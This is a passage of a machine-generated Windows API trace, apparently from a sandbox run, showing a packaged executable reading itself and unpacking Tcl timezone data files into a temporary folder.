(in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.281] htonl (hostlong=0x98000000) returned 0x98 [0039.281] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x98) returned 0x550600 [0039.281] htonl (hostlong=0x8c000000) returned 0x8c [0039.281] htonl (hostlong=0x98000000) returned 0x98 [0039.281] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.281] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.281] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0039.281] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.281] CloseHandle (hObject=0x10c) returned 1 [0039.281] GetLastError () returned 0x0 [0039.281] SetLastError (dwErrCode=0x0) [0039.281] GetLastError () returned 0x0 [0039.281] SetLastError (dwErrCode=0x0) [0039.281] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.281] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.281] GetFileType (hFile=0x10c) returned 0x1 [0039.281] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.281] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.281] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.281] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.281] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.282] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.282] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.282] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.282] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.282] CloseHandle (hObject=0x10c) returned 1 [0039.282] GetLastError () returned 0x0 [0039.282] SetLastError (dwErrCode=0x0) [0039.282] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.282] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.282] GetFileType (hFile=0x10c) returned 0x1 [0039.282] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.282] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.282] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.282] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.282] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.282] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.282] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.282] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.283] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.283] CloseHandle (hObject=0x10c) returned 1 [0039.283] GetLastError () returned 0x0 [0039.283] SetLastError (dwErrCode=0x0) [0039.283] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.283] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.283] GetFileType (hFile=0x10c) returned 0x1 [0039.283] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.283] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.283] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.283] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.283] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.283] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.283] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.283] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.283] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.283] CloseHandle (hObject=0x10c) returned 1 [0039.283] GetLastError () returned 0x0 [0039.283] SetLastError (dwErrCode=0x0) [0039.283] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Montserrat") returned 75 [0039.283] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Montserrat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\montserrat"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.284] GetLastError () returned 0x2 [0039.284] SetLastError (dwErrCode=0x2) [0039.284] GetLastError () returned 0x2 [0039.284] SetLastError (dwErrCode=0x2) [0039.284] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Montserrat", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Montserrat", lpFilePart=0x0) returned 0x4a [0039.284] GetLastError () returned 0x2 [0039.284] SetLastError (dwErrCode=0x2) [0039.284] GetLastError () returned 0x2 [0039.284] SetLastError (dwErrCode=0x2) [0039.284] GetLastError () returned 0x2 [0039.284] SetLastError (dwErrCode=0x2) [0039.284] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Montserrat") returned 75 [0039.284] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.284] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Montserrat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\montserrat"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.284] GetFileType (hFile=0x10c) returned 0x1 [0039.284] htonl (hostlong=0x98000000) returned 0x98 [0039.284] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.284] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x98, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x98, lpOverlapped=0x0) returned 1 [0039.285] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.285] CloseHandle (hObject=0x10c) returned 1 [0039.286] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.286] htonl (hostlong=0x30000000) returned 0x30 [0039.286] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.286] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.286] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.286] GetFileType (hFile=0x10c) returned 0x1 [0039.286] htonl (hostlong=0xb6c95900) returned 0x59c9b6 [0039.286] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5e79b6, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.286] htonl (hostlong=0x41060000) returned 0x641 [0039.286] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x641) returned 0x550600 [0039.286] htonl (hostlong=0x41060000) returned 0x641 [0039.286] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.286] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.287] htonl (hostlong=0x44200000) returned 0x2044 [0039.287] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2044) returned 0x561090 [0039.287] htonl (hostlong=0x41060000) returned 0x641 [0039.287] htonl (hostlong=0x44200000) returned 0x2044 [0039.287] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x5630e0 [0039.287] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5630e0 | out: hHeap=0x530000) returned 1 [0039.287] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.287] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.287] CloseHandle (hObject=0x10c) returned 1 [0039.287] GetLastError () returned 0x0 [0039.287] SetLastError (dwErrCode=0x0) [0039.287] GetLastError () returned 0x0 [0039.287] SetLastError (dwErrCode=0x0) [0039.287] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.287] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.287] GetFileType (hFile=0x10c) returned 0x1 [0039.287] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.287] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.287] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.287] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.287] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.287] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.287] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.288] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.288] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.288] CloseHandle (hObject=0x10c) returned 1 [0039.288] GetLastError () returned 0x0 [0039.288] SetLastError (dwErrCode=0x0) [0039.288] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.288] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.288] GetFileType (hFile=0x10c) returned 0x1 [0039.288] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.288] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.288] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.288] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.288] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.288] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.288] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.288] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.288] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.288] CloseHandle (hObject=0x10c) returned 1 [0039.288] GetLastError () returned 0x0 [0039.288] SetLastError (dwErrCode=0x0) [0039.288] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.288] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.289] GetFileType (hFile=0x10c) returned 0x1 [0039.289] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.289] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.289] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.289] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.289] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.289] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.289] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.289] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.289] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.289] CloseHandle (hObject=0x10c) returned 1 [0039.289] GetLastError () returned 0x0 [0039.289] SetLastError (dwErrCode=0x0) [0039.289] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Nassau") returned 71 [0039.289] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Nassau" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\nassau"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.289] GetLastError () returned 0x2 [0039.289] SetLastError (dwErrCode=0x2) [0039.289] GetLastError () returned 0x2 [0039.289] SetLastError (dwErrCode=0x2) [0039.289] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Nassau", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Nassau", lpFilePart=0x0) returned 0x46 [0039.289] GetLastError () returned 0x2 [0039.289] SetLastError (dwErrCode=0x2) [0039.289] GetLastError () returned 0x2 [0039.289] SetLastError (dwErrCode=0x2) [0039.289] GetLastError () returned 0x2 [0039.290] SetLastError (dwErrCode=0x2) [0039.290] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Nassau") returned 71 [0039.290] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.290] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Nassau" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\nassau"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.290] GetFileType (hFile=0x10c) returned 0x1 [0039.290] htonl (hostlong=0x44200000) returned 0x2044 [0039.290] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0039.291] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.291] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x44, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x44, lpOverlapped=0x0) returned 1 [0039.291] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.291] CloseHandle (hObject=0x10c) returned 1 [0039.292] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.292] htonl (hostlong=0x30000000) returned 0x30 [0039.293] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.293] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.293] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.293] GetFileType (hFile=0x10c) returned 0x1 [0039.293] htonl (hostlong=0xf7cf5900) returned 0x59cff7 [0039.293] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5e7ff7, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.293] htonl (hostlong=0xff070000) returned 0x7ff [0039.293] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x7ff) returned 0x55e278 [0039.293] htonl (hostlong=0xff070000) returned 0x7ff [0039.293] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.294] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.294] htonl (hostlong=0xfc2a0000) returned 0x2afc [0039.294] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2afc) returned 0x561090 [0039.294] htonl (hostlong=0xff070000) returned 0x7ff [0039.294] htonl (hostlong=0xfc2a0000) returned 0x2afc [0039.294] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563b98 [0039.294] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563b98 | out: hHeap=0x530000) returned 1 [0039.294] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0039.294] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.294] CloseHandle (hObject=0x10c) returned 1 [0039.294] GetLastError () returned 0x0 [0039.294] SetLastError (dwErrCode=0x0) [0039.294] GetLastError () returned 0x0 [0039.294] SetLastError (dwErrCode=0x0) [0039.294] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, 